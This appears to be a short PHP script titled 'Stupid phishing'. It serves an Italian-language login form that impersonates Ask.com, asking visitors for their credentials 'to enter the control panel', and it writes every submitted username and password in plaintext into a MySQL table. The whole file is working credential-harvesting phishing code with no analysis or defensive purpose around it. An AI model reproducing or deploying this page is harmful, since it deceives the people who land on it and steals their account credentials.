Stupid phishing

<?php
session_start();
if(isset($_POST["user"])) {

$_SESSION["user"]=$_POST["user"];
$_SESSION["pass"]=$_POST["pass"];
$_POST["user"]="";
$_POST["pass"]="";
}
//connection to the database
$db = new PDO('mysql:host=host;dbname=db;charset=utf8mb4', 'user', 'pass');

  if(isset($_SESSION["user"])) {

    $stmt = $db->prepare("INSERT INTO user (user, pass) VALUES (?, ?)");
    $stmt->bindParam(1, $user);
    $stmt->bindParam(2, $pass);
    $user = $_SESSION["user"];
    $pass = $_SESSION["pass"];
    $stmt->execute();
  }
?>
<form action="index.php" method="post">
<p>Inserisci i tuoi dati di accesso Ask.com per entrare nel pannello di controllo:
<p>User: <input name="user">
<p>Pass: <input type="password" name="pass">
<p><input type="submit" value="Accedi al pannello di controllo">
</form>